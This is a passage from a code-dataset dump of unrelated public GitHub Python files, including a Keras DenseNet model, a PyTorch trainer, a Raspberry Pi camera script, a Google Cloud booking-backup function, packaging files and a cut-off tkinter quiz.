respect to the\n ImageNet dataset.\n \"\"\"\n x /= 255.\n mean = [0.485, 0.456, 0.406]\n std = [0.229, 0.224, 0.225]\n\n x[..., 0] -= mean[0]\n x[..., 1] -= mean[1]\n x[..., 2] -= mean[2]\n\n x[..., 0] /= std[0]\n x[..., 1] /= std[1]\n x[..., 2] /= std[2]\n return x\n# preprocess_input_bgr\n\ndef dense_block(x, blocks, name):\n \"\"\"A dense block.\n\n # Arguments\n x: input tensor.\n blocks: integer, the number of building blocks.\n name: string, block label.\n\n # Returns\n output tensor for the block.\n \"\"\"\n for i in range(blocks):\n x = conv_block(x, 32, name=name + '_block' + str(i + 1))\n return x\n# dense_block\n\ndef transition_block(x, reduction, name):\n \"\"\"A transition block.\n\n # Arguments\n x: input tensor.\n reduction: float, compression rate at transition layers.\n name: string, block label.\n\n # Returns\n output tensor for the block.\n \"\"\"\n bn_axis = 3 if backend.image_data_format() == 'channels_last' else 1\n x = layers.BatchNormalization(axis=bn_axis, epsilon=1.001e-5,\n name=name + '_bn')(x)\n x = layers.Activation('relu', name=name + '_relu')(x)\n x = layers.Conv2D(int(backend.int_shape(x)[bn_axis] * reduction), 1,\n use_bias=False,\n name=name + '_conv')(x)\n x = layers.AveragePooling2D(2, strides=2, name=name + '_pool')(x)\n return x\n# transition_block\n\ndef conv_block(x, growth_rate, name):\n \"\"\"A building block for a dense block.\n\n # Arguments\n x: input tensor.\n growth_rate: float, growth rate at dense layers.\n name: string, block label.\n\n # Returns\n Output tensor for the block.\n \"\"\"\n bn_axis = 3 if backend.image_data_format() == 'channels_last' else 1\n x1 = layers.BatchNormalization(axis=bn_axis,\n epsilon=1.001e-5,\n name=name + '_0_bn')(x)\n x1 = layers.Activation('relu', name=name + '_0_relu')(x1)\n x1 = layers.Conv2D(4 * growth_rate, 1,\n use_bias=False,\n name=name + '_1_conv')(x1)\n x1 = layers.BatchNormalization(axis=bn_axis, epsilon=1.001e-5,\n name=name + '_1_bn')(x1)\n x1 = layers.Activation('relu', name=name + '_1_relu')(x1)\n x1 = layers.Conv2D(growth_rate, 3,\n padding='same',\n use_bias=False,\n name=name + '_2_conv')(x1)\n x = layers.Concatenate(axis=bn_axis, name=name + '_concat')([x, x1])\n return x\n# conv_block\n\ndef DenseNet(blocks,\n include_top=True,\n weights='imagenet',\n input_tensor=None,\n input_shape=None,\n pooling=None,\n classes=1000,\n **kwargs):\n \"\"\"Instantiates the DenseNet architecture.\n\n Optionally loads weights pre-trained on ImageNet.\n Note that the data format convention used by the model is\n the one specified in your Keras config at `~/.keras/keras.json`.\n\n # Arguments\n blocks: numbers of building blocks for the four dense layers.\n include_top: whether to include the fully-connected\n layer at the top of the network.\n weights: one of `None` (random initialization),\n 'imagenet' (pre-training on ImageNet),\n or the path to the weights file to be loaded.\n input_tensor: optional Keras tensor\n (i.e. output of `layers.Input()`)\n to use as image input for the model.\n input_shape: optional shape tuple, only to be specified\n if `include_top` is False (otherwise the input shape\n has to be `(224, 224, 3)` (with `'channels_last'` data format)\n or `(3, 224, 224)` (with `'channels_first'` data format).\n It should have exactly 3 inputs channels,\n and width and height should be no smaller than 32.\n E.g. `(200, 200, 3)` would be one valid value.\n pooling: optional pooling mode for feature extraction\n when `include_top` is `False`.\n - `None` means that the output of the model will be\n the 4D tensor output of the\n last convolutional block.\n - `avg` means that global average pooling\n will be applied to the output of the\n last convolutional block, and thus\n the output of the model will be a 2D tensor.\n - `max` means that global max pooling will\n be applied.\n classes: optional number of classes to classify images\n into, only to be specified if `include_top` is True, and\n if no `weights` argument is specified.\n\n # Returns\n A Keras model instance.\n\n # Raises\n ValueError: in case of invalid argument for `weights`,\n or invalid input shape.\n \"\"\"\n # global backend, layers, models, keras_utils\n # backend, layers, models, keras_utils = get_submodules_from_kwargs(kwargs)\n\n if not (weights in {'imagenet', None} or os.path.exists(weights)):\n raise ValueError('The `weights` argument should be either '\n '`None` (random initialization), `imagenet` '\n '(pre-training on ImageNet), '\n 'or the path to the weights file to be loaded.')\n\n if weights == 'imagenet' and include_top and classes != 1000:\n raise ValueError('If using `weights` as `\"imagenet\"` with `include_top`'\n ' as true, `classes` should be 1000')\n\n # Determine proper input shape\n input_shape = _obtain_input_shape(input_shape,\n default_size=224,\n min_size=32,\n data_format=backend.image_data_format(),\n require_flatten=include_top,\n weights=weights)\n\n if input_tensor is None:\n img_input = layers.Input(shape=input_shape)\n else:\n if not backend.is_keras_tensor(input_tensor):\n img_input = layers.Input(tensor=input_tensor, shape=input_shape)\n else:\n img_input = input_tensor\n\n bn_axis = 3 if backend.image_data_format() == 'channels_last' else 1\n\n x = layers.ZeroPadding2D(padding=((3, 3), (3, 3)))(img_input)\n x = layers.Conv2D(64, 7, strides=2, use_bias=False, name='conv1/conv')(x)\n x = layers.BatchNormalization(\n axis=bn_axis, epsilon=1.001e-5, name='conv1/bn')(x)\n x = layers.Activation('relu', name='conv1/relu')(x)\n x = layers.ZeroPadding2D(padding=((1, 1), (1, 1)))(x)\n x = layers.MaxPooling2D(3, strides=2, name='pool1')(x)\n\n x = dense_block(x, blocks[0], name='conv2')\n x = transition_block(x, 0.5, name='pool2')\n x = dense_block(x, blocks[1], name='conv3')\n x = transition_block(x, 0.5, name='pool3')\n x = dense_block(x, blocks[2], name='conv4')\n x = transition_block(x, 0.5, name='pool4')\n x = dense_block(x, blocks[3], name='conv5')\n\n x = layers.BatchNormalization(\n axis=bn_axis, epsilon=1.001e-5, name='bn')(x)\n x = layers.Activation('relu', name='relu')(x)\n\n if include_top:\n x = layers.GlobalAveragePooling2D(name='avg_pool')(x)\n x = layers.Dense(classes, activation='softmax', name='fc1000')(x)\n else:\n if pooling == 'avg':\n x = layers.GlobalAveragePooling2D(name='avg_pool')(x)\n elif pooling == 'max':\n x = layers.GlobalMaxPooling2D(name='max_pool')(x)\n\n # Ensure that the model takes into account\n # any potential predecessors of `input_tensor`.\n if input_tensor is not None:\n inputs = keras_utils.get_source_inputs(input_tensor)\n else:\n inputs = img_input\n\n # Create model.\n if blocks == [6, 12, 24, 16]:\n model = models.Model(inputs, x, name='densenet121')\n elif blocks == [6, 12, 32, 32]:\n model = models.Model(inputs, x, name='densenet169')\n elif blocks == [6, 12, 48, 32]:\n model = models.Model(inputs, x, name='densenet201')\n else:\n model = models.Model(inputs, x, name='densenet')\n\n # Load weights.\n if weights == 'imagenet':\n if include_top:\n if blocks == [6, 12, 24, 16]:\n weights_path = keras_utils.get_file(\n 'densenet121_weights_tf_dim_ordering_tf_kernels.h5',\n DENSENET121_WEIGHT_PATH,\n cache_subdir='models',\n file_hash='9d60b8095a5708f2dcce2bca79d332c7')\n elif blocks == [6, 12, 32, 32]:\n weights_path = keras_utils.get_file(\n 'densenet169_weights_tf_dim_ordering_tf_kernels.h5',\n DENSENET169_WEIGHT_PATH,\n cache_subdir='models',\n file_hash='d699b8f76981ab1b30698df4c175e90b')\n elif blocks == [6, 12, 48, 32]:\n weights_path = keras_utils.get_file(\n 'densenet201_weights_tf_dim_ordering_tf_kernels.h5',\n DENSENET201_WEIGHT_PATH,\n cache_subdir='models',\n file_hash='1ceb130c1ea1b78c3bf6114dbdfd8807')\n else:\n if blocks == [6, 12, 24, 16]:\n weights_path = keras_utils.get_file(\n 'densenet121_weights_tf_dim_ordering_tf_kernels_notop.h5',\n DENSENET121_WEIGHT_PATH_NO_TOP,\n cache_subdir='models',\n file_hash='30ee3e1110167f948a6b9946edeeb738')\n elif blocks == [6, 12, 32, 32]:\n weights_path = keras_utils.get_file(\n 'densenet169_weights_tf_dim_ordering_tf_kernels_notop.h5',\n DENSENET169_WEIGHT_PATH_NO_TOP,\n cache_subdir='models',\n file_hash='b8c4d4c20dd625c148057b9ff1c1176b')\n elif blocks == [6, 12, 48, 32]:\n weights_path = keras_utils.get_file(\n 'densenet201_weights_tf_dim_ordering_tf_kernels_notop.h5',\n DENSENET201_WEIGHT_PATH_NO_TOP,\n cache_subdir='models',\n file_hash='c13680b51ded0fb44dff2d8f86ac8bb1')\n model.load_weights(weights_path)\n elif weights is not None:\n model.load_weights(weights)\n\n return model\n# DenseNet\n\ndef DenseNet121(include_top=True,\n weights='imagenet',\n input_tensor=None,\n input_shape=None,\n pooling=None,\n classes=1000,\n **kwargs):\n return DenseNet([6, 12, 24, 16],\n include_top, weights,\n input_tensor, input_shape,\n pooling, classes,\n **kwargs)\n# DenseNet121\n\ndef DenseNet169(include_top=True,\n weights='imagenet',\n input_tensor=None,\n input_shape=None,\n pooling=None,\n classes=1000,\n **kwargs):\n return DenseNet([6, 12, 32, 32],\n include_top, weights,\n input_tensor, input_shape,\n pooling, classes,\n **kwargs)\n# DenseNet169\n\ndef DenseNet201(include_top=True,\n weights='imagenet',\n input_tensor=None,\n input_shape=None,\n pooling=None,\n classes=1000,\n **kwargs):\n return DenseNet([6, 12, 48, 32],\n include_top, weights,\n input_tensor, input_shape,\n pooling, classes,\n **kwargs)\n# DenseNet201\n\ndef _obtain_input_shape(input_shape,\n default_size,\n min_size,\n data_format,\n require_flatten,\n weights=None):\n \"\"\"Internal utility to compute/validate a model's input shape.\n # Arguments\n input_shape: Either None (will return the default network input shape),\n or a user-provided shape to be validated.\n default_size: Default input width/height for the model.\n min_size: Minimum input width/height accepted by the model.\n data_format: Image data format to use.\n require_flatten: Whether the model is expected to\n be linked to a classifier via a Flatten layer.\n weights: One of `None` (random initialization)\n or 'imagenet' (pre-training on ImageNet).\n If weights='imagenet' input channels must be equal to 3.\n # Returns\n An integer shape tuple (may include None entries).\n # Raises\n ValueError: In case of invalid argument values.\n \"\"\"\n if weights != 'imagenet' and input_shape and len(input_shape) == 3:\n if data_format == 'channels_first':\n if input_shape[0] not in {1, 3}:\n warnings.warn(\n 'This model usually expects 1 or 3 input channels. '\n 'However, it was passed an input_shape with ' +\n str(input_shape[0]) + ' input channels.')\n default_shape = (input_shape[0], default_size, default_size)\n else:\n if input_shape[-1] not in {1, 3}:\n warnings.warn(\n 'This model usually expects 1 or 3 input channels. '\n 'However, it was passed an input_shape with ' +\n str(input_shape[-1]) + ' input channels.')\n default_shape = (default_size, default_size, input_shape[-1])\n else:\n if data_format == 'channels_first':\n default_shape = (3, default_size, default_size)\n else:\n default_shape = (default_size, default_size, 3)\n if weights == 'imagenet' and require_flatten:\n if input_shape is not None:\n if input_shape != default_shape:\n raise ValueError('When setting `include_top=True` '\n 'and loading `imagenet` weights, '\n '`input_shape` should be ' +\n str(default_shape) + '.')\n return default_shape\n if input_shape:\n if data_format == 'channels_first':\n if input_shape is not None:\n if len(input_shape) != 3:\n raise ValueError(\n '`input_shape` must be a tuple of three integers.')\n if input_shape[0] != 3 and weights == 'imagenet':\n raise ValueError('The input must have 3 channels; got '\n '`input_shape=' + str(input_shape) + '`')\n if ((input_shape[1] is not None and input_shape[1] < min_size) or\n (input_shape[2] is not None and input_shape[2] < min_size)):\n raise ValueError('Input size must be at least ' +\n str(min_size) + 'x' + str(min_size) +\n '; got `input_shape=' +\n str(input_shape) + '`')\n else:\n if input_shape is not None:\n if len(input_shape) != 3:\n raise ValueError(\n '`input_shape` must be a tuple of three integers.')\n if input_shape[-1] != 3 and weights == 'imagenet':\n raise ValueError('The input must have 3 channels; got '\n '`input_shape=' + str(input_shape) + '`')\n if ((input_shape[0] is not None and input_shape[0] < min_size) or\n (input_shape[1] is not None and input_shape[1] < min_size)):\n raise ValueError('Input size must be at least ' +\n str(min_size) + 'x' + str(min_size) +\n '; got `input_shape=' +\n str(input_shape) + '`')\n else:\n if require_flatten:\n input_shape = default_shape\n else:\n if data_format == 'channels_first':\n input_shape = (3, None, None)\n else:\n input_shape = (None, None, 3)\n if require_flatten:\n if None in input_shape:\n raise ValueError('If `include_top` is True, '\n 'you should specify a static `input_shape`. '\n 'Got `input_shape=' + str(input_shape) + '`')\n return input_shape\n# _obtain_input_shape","repo_name":"dolgogae/Emotion_Recognition_KERC-kaggle-","sub_path":"OtherModel/model_densenet.py","file_name":"model_densenet.py","file_ext":"py","file_size_in_byte":18622,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"71286309841","text":"# comics-lod-gephi-beta.py \n# script for creating csv for visualizing rdf data with gephi\n# supports updated sequence model (v0.16)\n\nimport rdflib\n\nfrom rdflib import Graph, Literal, FOAF, RDF, URIRef, Namespace, Dataset\n\n# parse graph\n\ng = Graph()\ng.parse(\"comics-lod-short.json\")\n\ng.bind(\"ex\", rdflib.Namespace(\"https://comicmeta.org/example/#\"))\ng.bind(\"cbo\", rdflib.Namespace(\"https://comicmeta.org/cbo/\"))\ng.bind(\"schema\", rdflib.Namespace(\"https://schema.org\"))\ng.bind(\"meddra\", rdflib.Namespace(\"http://purl.bioontology.org/ontology/MEDDRA/\"))\ng.bind(\"ncit\", rdflib.Namespace(\"http://ncicb.nci.nih.gov/xml/owl/EVS/Thesaurus.owl#\"))\ng.bind(\"lcsh\", rdflib.Namespace(\"http://id.loc.gov/authorities/subjects/\"))\ng.bind(\"comics\", rdflib.Namespace(\"https://www.comics.org/issue/\"))\ng.bind(\"comics_1963646\", rdflib.Namespace(\"https://www.comics.org/issue/1963646/#\"))\n\nns = {\n \"ex\": \"https://comicmeta.org/cbo/\",\n \"cbo\": \"https://comicmeta.org/cbo/\",\n \"schema\": \"https://schema.org/\"\n}\n\n# include all triples in graph\n\nresults = g.query(\"\"\"CONSTRUCT { \n ?s ?p ?o\n } WHERE { \n ?s ?p ?o\n } \"\"\", initNs=ns)\n\n# create a new graph from the output of the construct query\n\nx = Graph()\nx.parse(results.serialize(format='ttl'))\n\n# setup headers for gephi nodes and edges csv template\n\nnodes = \"Id,Label,Object,Size\\n\"\nedges = \"Source,Label,Target,Type,Weight,Relationship\\n\"\n\n# loop through all triples in the new graph (x), or full graph (g)\n\nfor s, p, o in x.triples((None, None, None)):\n subj = s.n3(g.namespace_manager)\n pred = p.n3(g.namespace_manager)\n obj = o.n3(g.namespace_manager)\n\n \"\"\"\n size = {\n \"cbo:story\": 30,\n \"schema:about\": 20,\n \"schema:name\": 10\n }\n \"\"\"\n\n size = {\n \"rdf:type\": 0,\n \"cbo:story\": 50,\n \"cbo:page\": 40,\n \"cbo:gutter\": 35,\n \"cbo:panel\": 30,\n \"schema:about\": 20,\n \"schema:name\": 10\n }\n\n nodes += f\"{subj},{subj}\\n\"\n nodes += f\"{obj},{obj},{pred},{size[pred]}\\n\"\n edges += f\"{subj},{pred},{obj},Undirected,{size[pred]},{pred}\\n \"\n\n# write csv to disk\n\nf = open(\"visualizations/comics-lod-short-edges.csv\", \"w\")\nf.write(edges)\nf.close()\n\nf = open(\"visualizations/comics-lod-short-nodes.csv\", \"w\")\nf.write(nodes)\nf.close()\n","repo_name":"comicmeta/LOD-MentalHealth","sub_path":"sequence-model/scripts/comics-lod-gephi-beta.py","file_name":"comics-lod-gephi-beta.py","file_ext":"py","file_size_in_byte":2272,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"16042310532","text":"from torch.utils.data import DataLoader\nfrom modules.Generations import *\nfrom Eval_Rouge import *\nfrom torch.utils.data.distributed import DistributedSampler\nfrom Utils import *\n\ndef train_embedding(model):\n for name, param in model.named_parameters():\n if 'embedding' in name:\n print('requires_grad', name, param.size())\n param.requires_grad = True\n\ndef init_params(model, escape=None):\n for name, param in model.named_parameters():\n if escape is not None and escape in name:\n print('no_init', name, param.size())\n continue\n print('init', name, param.size())\n if param.data.dim() > 1:\n xavier_uniform_(param.data)\n\nclass DefaultTrainer(object):\n def __init__(self, model, local_rank):\n super(DefaultTrainer, self).__init__()\n self.local_rank=local_rank\n\n if local_rank is not None:\n torch.cuda.set_device(local_rank)\n\n if torch.cuda.is_available():\n self.model =model.cuda()\n else:\n self.model = model\n self.eval_model = self.model\n\n if torch.cuda.is_available() and local_rank is not None:\n print(\"GPU \", self.local_rank)\n self.model = torch.nn.parallel.DistributedDataParallel(self.model, device_ids=[local_rank], output_device=local_rank, find_unused_parameters=True)\n\n\n def train_batch(self, epoch, data, method, optimizer):\n optimizer.zero_grad()\n loss = self.model(data, method=method)\n\n if isinstance(loss, tuple) or isinstance(loss, list):\n closs = [l.mean().cpu().item() for l in loss]\n # loss = torch.cat([l.mean().view(1) for l in loss]).sum()\n loss = torch.cat(loss, dim=-1).mean()\n else:\n loss = loss.mean()\n closs = [loss.cpu().item()]\n\n loss.backward()\n\n torch.nn.utils.clip_grad_norm_(self.model.parameters(), 2)\n optimizer.step()\n return closs\n\n def serialize(self,epoch, output_path):\n if self.local_rank!=0:\n return\n output_path = os.path.join(output_path, 'model/')\n if not os.path.exists(output_path):\n os.makedirs(output_path)\n torch.save(self.eval_model.state_dict(), os.path.join(output_path, '.'.join([str(epoch), 'pkl'])))\n\n def train_epoch(self, method, train_dataset, train_collate_fn, batch_size, epoch, optimizer):\n self.model.train()\n if torch.cuda.is_available():\n sampler = DistributedSampler(train_dataset)\n train_loader = torch.utils.data.DataLoader(train_dataset, collate_fn=train_collate_fn, batch_size=batch_size, sampler=sampler)\n else:\n train_loader = torch.utils.data.DataLoader(train_dataset, collate_fn=train_collate_fn, batch_size=batch_size, shuffle=True)\n\n start_time = time.time()\n count_batch=0\n for j, data in enumerate(train_loader, 0):\n if torch.cuda.is_available():\n data_cuda = dict()\n for key, value in data.items():\n if isinstance(value, torch.Tensor):\n data_cuda[key] = value.cuda()\n else:\n data_cuda[key] = value\n data = data_cuda\n count_batch += 1\n\n bloss = self.train_batch(epoch, data, method=method, optimizer=optimizer)\n\n if j >= 0 and j%100==0:\n elapsed_time = time.time() - start_time\n print('Method', method, 'Epoch', epoch, 'Batch ', count_batch, 'Loss ', bloss, 'Time ', elapsed_time)\n sys.stdout.flush()\n del bloss\n\n # elapsed_time = time.time() - start_time\n # print(method + ' ', epoch, 'time ', elapsed_time)\n sys.stdout.flush()\n\n def predict(self,method, dataset, collate_fn, batch_size, epoch, output_path):\n self.eval_model.eval()\n\n with torch.no_grad():\n test_loader = DataLoader(dataset=dataset, batch_size=batch_size, shuffle=False, collate_fn=collate_fn,\n num_workers=0)\n\n # srcs = []\n systems = []\n references = []\n for k, data in enumerate(test_loader, 0):\n if torch.cuda.is_available():\n data_cuda=dict()\n for key, value in data.items():\n if isinstance(value, torch.Tensor):\n data_cuda[key]=value.cuda()\n else:\n data_cuda[key] = value\n data = data_cuda\n\n indices = self.eval_model(data, method=method)\n sents=self.eval_model.to_sentence(data,indices)\n\n remove_duplicate(sents)\n\n # srcs += [' '.join(dataset.input(id.item())) for id in data['id']]\n systems += [' '.join(s).replace(SEP_WORD, os.linesep).lower() for s in sents]\n for id in data['id']:\n refs=dataset.output(id.item())\n refs=[' '.join(ref).lower() for ref in refs]\n references.append(refs)\n\n output_path = os.path.join(output_path, 'result/')\n if not os.path.exists(output_path):\n os.makedirs(output_path)\n\n # file = codecs.open(os.path.join(output_path, str(epoch)+'.txt'), \"w\", \"utf-8\")\n # for i in range(len(systems)):\n # file.write(srcs[i]+ os.linesep+systems[i]+ os.linesep+os.linesep.join(references[i])+os.linesep+os.linesep)\n # file.close()\n return systems, references\n\n def test(self,method, dataset, collate_fn, batch_size, epoch, output_path):\n with torch.no_grad():\n systems,references=self.predict(method, dataset, collate_fn, batch_size, epoch, output_path)\n\n rouges= eval_rouge(systems, references)\n # bleus =eval_bleu(systems, references)\n bleus={}\n print({**rouges, **bleus})\n sys.stdout.flush()\n return rouges, bleus","repo_name":"PengjieRen/GLKS","sub_path":"trainers/DefaultTrainer.py","file_name":"DefaultTrainer.py","file_ext":"py","file_size_in_byte":6052,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"3"} +{"seq_id":"12978155810","text":"import RPi.GPIO as GPIO\nimport time\nimport picamera\ncamera = picamera.PiCamera()\n\nGPIO.setmode(GPIO.BCM)\n\nGPIO.setup(23, GPIO.IN) #PIR\n#GPIO.setup(24, GPIO.OUT) #BUzzer\n\n \n\ntry:\n time.sleep(2) # to stabilize sensor\n while True:\n if GPIO.input(23):\n camera.start_capture()\n camera.capture(\"gambar1.jpg\")\n camera.capture('/home/pi/Desktop/image_%s.jpg' % i)\n camera.stop_capture()\n print(\"Motion Detected...\")\n time.sleep(5) #to avoid multiple detection\n time.sleep(0.1) #loop delay, should be less than detection delay\n\nexcept:\n GPIO.cleanup()\n","repo_name":"Rhyanz46/telegram-bot-with-iot","sub_path":"sensor.py","file_name":"sensor.py","file_ext":"py","file_size_in_byte":635,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"15758483413","text":"from google.cloud import datastore\nfrom google.cloud import storage\nfrom google.oauth2 import service_account\nimport datetime\nimport pandas as pd\nimport json\n\n# Added Cors Configuration\ncors_header={\n \"Access-Control-Allow-Origin\": \"*\",\n \"Access-Control-Allow-Methods\": \"*\",\n \"Access-Control-Allow-Headers\": \"*\",\n \"Access-Control-Max-Age\": \"3600\",\n }\n\n# Function call \ndef chatbot_TTL_booking(request):\n get_data = request.args.get(\"data\")\n if get_data is None or get_data == \"\" or get_data == \"{}\":\n\n # Client Intialization via credentials.json\n credentials = service_account.Credentials.from_service_account_file(\"credentials.json\")\n project_id = 'dev-irrchatbotagent-lard'\n\n # Set up Datastore and Cloud Storage clients\n storage_client = storage.Client(project=project_id, credentials=credentials)\n datastore_client = datastore.Client(project=project_id, credentials=credentials)\n\n # Set up Cloud Storage bucket and CSV file name\n bucket_name = 'irr-backup-files'\n now = datetime.datetime.now()\n formatted_date = now.strftime(\"%d/%m/%Y-%H:%M:%S\")\n file_name = 'IRR-Chatbot_booking_backup-{}.csv'.format(formatted_date.replace('/', '-'))\n # file_name = 'IRR-Chatbot_booking_backup-{}.csv'.format(formatted_date)\n \n # file_name = 'IRR-Chatbot_booking_backup-{}.csv'.format(datetime.datetime.now().strftime('%d/%m/%Y-%H:%M:%S'))\n \n # file_name = 'IRR-Chatbot_booking_backup-{}.csv'.format(datetime.now().strftime('%d/%m/%Y-%H:%M:%S'))\n\n # Define CSV header row\n header = 'fin,phone_no,date,time,day,booking_id,ttl_tag,visited,name\\n'\n\n # Query Datastore for all entities of kind 'booking'\n query = datastore_client.query(kind='booking')\n results = query.fetch()\n\n # Get today's date\n today = datetime.datetime.today().date()\n curr_date = today.strftime('%d/%m/%Y')\n curr_date = pd.to_datetime(curr_date,format=\"%d/%m/%Y\")\n\n # Build data string from entities with matching ttl_tag\n data = header\n data_exists = False # flag to check if any matching data exists\n for entity in results:\n full_data_ttl_tag = pd.to_datetime(entity['ttl_tag'],format=\"%d/%m/%Y\")\n \n # Only add entity data to the data string if the full_data_ttl_tag matches today's date\n if full_data_ttl_tag == curr_date:\n data_exists = True # matching data exists\n fin = entity.get('fin', 'N/A')\n phone_no = entity.get('phone_no', 'N/A')\n date = entity.get('date', 'N/A')\n time = entity.get('time', 'N/A')\n day = entity.get('day', 'N/A')\n booking_id = entity.get('booking_id', 'N/A')\n ttl_tag = entity.get('ttl_tag', 'N/A')\n visited = entity.get('visited', 'N/A')\n name = entity.get('name', 'N/A')\n\n # Add entity data to the data string\n data += f\"{fin},{phone_no},{date},{time},{day},{booking_id},{ttl_tag},{visited},{name}\\n\"\n\n # Write data to Cloud Storage\n bucket = storage_client.bucket(bucket_name)\n blob = bucket.blob(file_name)\n blob.upload_from_string(data)\n \n # Delete data from Datastore\n key_id_entity = int(entity.key.id)\n print(key_id_entity)\n delete_key = datastore_client.key(\"booking\", key_id_entity)\n print(delete_key)\n datastore_client.delete(delete_key)\n\n if not data_exists:\n # No matching data found\n return (json.dumps({\"status\":\"Data not exists\"}), cors_header)\n \n return (json.dumps({\"status\":\"Data Stored and Cleared\"}), cors_header)\n else:\n return (json.dumps({\"error\":\"Invalid data parameter\"}), cors_header, 400)","repo_name":"abisekhaganesan/Google-Cloud-Platform-Chatbot","sub_path":"dev_ttl.py","file_name":"dev_ttl.py","file_ext":"py","file_size_in_byte":3974,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"16898949261","text":"#!/usr/bin/python3\n# ringd/setup.py\n\n\"\"\" Setuptools project configuration for ringd. \"\"\"\n\nfrom os.path import exists\nfrom setuptools import setup\n\nLONG_DESC = None\nif exists('README.md'):\n with open('README.md', 'r') as file:\n LONG_DESC = file.read()\n\nsetup(name='ringd',\n version='0.3.15',\n author='Jim Dixon',\n author_email='jddixon@gmail.com',\n long_description=LONG_DESC,\n packages=['ringd'],\n package_dir={'': 'src'},\n py_modules=[],\n include_package_data=False,\n zip_safe=False,\n scripts=['src/ring_client', 'src/ring_daemon'],\n ext_modules=[],\n description='ring of servers connecting as a dense mesh using fieldz for communications',\n url='https://jddixon.github.io/ringd',\n classifiers=[\n 'Development Status :: 3 - Alpha',\n 'Intended Audience :: Developers',\n 'License :: OSI Approved :: MIT License',\n 'Natural Language :: English',\n 'Programming Language :: Python 2.7',\n 'Programming Language :: Python 3.5',\n 'Programming Language :: Python 3.6',\n 'Programming Language :: Python 3.7',\n 'Topic :: Software Development :: Libraries :: Python Modules',\n ],)\n","repo_name":"jddixon/ringd","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1236,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"69793842001","text":"#coding: utf8\nfrom __future__ import absolute_import\nfrom flask import make_response, Response\nfrom farbox_bucket.utils.data import json_dumps\n\nSTATUS_MESSAGES = {\n 200: 'ok',\n 500: 'Server Error',\n 503: 'Wait for a Moment, and Try Again.',\n 400: 'Bad Request',\n 401: 'Auth error.',\n 404: 'Page not Found or this Request is not Allowed',\n}\n\n\ndef jsonify(data):\n try:\n data = json_dumps(data, indent=4)\n except:\n data = json_dumps(dict(error='json_error'))\n response = Response(data, mimetype='application/json')\n return response\n\n\n\ndef json_with_status_code(code, message=''):\n message = message or STATUS_MESSAGES.get(code, '')\n result = dict(code=code, message=message)\n response = make_response(jsonify(result))\n response.status_code = code\n return response\n","repo_name":"hepochen/FarBox","sub_path":"farbox_bucket/utils/web_utils/response.py","file_name":"response.py","file_ext":"py","file_size_in_byte":820,"program_lang":"python","lang":"en","doc_type":"code","stars":155,"dataset":"github-code","pt":"3"} +{"seq_id":"44800578832","text":"# -*- mode: python ; coding: utf-8 -*-\nfrom os import environ\nfrom pathlib import Path\n\nblock_cipher = None\n\nproject_folder = Path('../..').resolve()\nmkob_folder = project_folder / 'MKOB'\nmkob_app = mkob_folder / 'MKOB.pyw'\nmkob_resources_folder = mkob_folder / 'resources'\nmkob_resources = mkob_resources_folder / '*'\nmkob_icon = mkob_resources_folder / 'mkob.ico'\npykob_folder = project_folder / 'pykob'\npykob_data_folder = pykob_folder / 'data'\npykob_data = pykob_data_folder / '*'\npykob_resources_folder = pykob_folder / 'resources'\npykob_resources = pykob_resources_folder / '*'\n\nprint('Project:', project_folder)\nprint('MKOB4:', mkob_app)\nprint('MKOB4 Resources:', mkob_resources)\nprint('PyKOB:', pykob_folder)\nprint('PyKOB Data:', pykob_data)\nprint('PyKOB Resources:', pykob_resources)\n\ndata_files = [\n (mkob_resources, 'resources'), \n (pykob_data, 'pykob/data'), \n (pykob_resources, 'pykob/resources')\n]\nprint('Data Files:', data_files)\n\na = Analysis([str(mkob_app)],\n pathex=[project_folder],\n binaries=[],\n datas=data_files,\n hiddenimports=[],\n hookspath=[],\n runtime_hooks=[],\n excludes=[],\n win_no_prefer_redirects=False,\n win_private_assemblies=False,\n cipher=block_cipher,\n noarchive=False)\npyz = PYZ(a.pure, a.zipped_data,\n cipher=block_cipher)\nexe = EXE(pyz,\n a.scripts,\n [],\n exclude_binaries=True,\n name='MKOB4',\n debug=True,\n bootloader_ignore_signals=False,\n strip=False,\n upx=True,\n console=True,\n icon=str(mkob_icon)\n )\ncoll = COLLECT(exe,\n a.binaries,\n a.zipfiles,\n a.datas,\n strip=False,\n upx=True,\n upx_exclude=[],\n name='MKOB4')\n","repo_name":"MorseKOB/PyKOB","sub_path":"pyinstall/w/MKOB.spec","file_name":"MKOB.spec","file_ext":"spec","file_size_in_byte":1903,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"3"} +{"seq_id":"25335138960","text":"# dp & 内存优化\r\nclass Solution:\r\n def maxProfit(self, prices):\r\n \"\"\"\r\n :type prices: List[int]\r\n :rtype: int\r\n \"\"\"\r\n if len(prices) < 2: return 0\r\n min_price, max_profit = prices[0], 0 # 当前最低价 和 当前最大收益\r\n for i in range(1, len(prices)):\r\n min_price = min(min_price, prices[i]) # 买入最低价\r\n max_profit = max(max_profit, prices[i] - min_price) # 最大收益比较\r\n return max_profit\r\n","repo_name":"daidai21/Leetcode","sub_path":"Algorithms/Python3.x/121-Best_Time_to_Buy_and_Sell_Stock.py","file_name":"121-Best_Time_to_Buy_and_Sell_Stock.py","file_ext":"py","file_size_in_byte":503,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"3"} +{"seq_id":"20416366200","text":"import tkinter as tk\nimport csv\nimport random\n\ndef load_wordlist():\n wordlist = []\n with open('.\\Main\\wordlist.csv', 'r', encoding='utf-8') as csvfile:\n reader = csv.reader(csvfile)\n for row in reader:\n wordlist.append(row)\n return wordlist\n\ndef start_quiz():\n wordlist = load_wordlist()\n \n if len(wordlist) == 0:\n label_question.config(text=\"単語リストが空です\")\n return\n \n random.shuffle(wordlist)\n current_word = wordlist.pop(0)\n \n global correct_answer\n correct_answer = current_word[1]\n \n label_question.config(text=current_word[0])\n entry_answer.delete(0, tk.END)\n\ndef check_answer():\n user_answer = entry_answer.get()\n \n if user_answer == correct_answer:\n 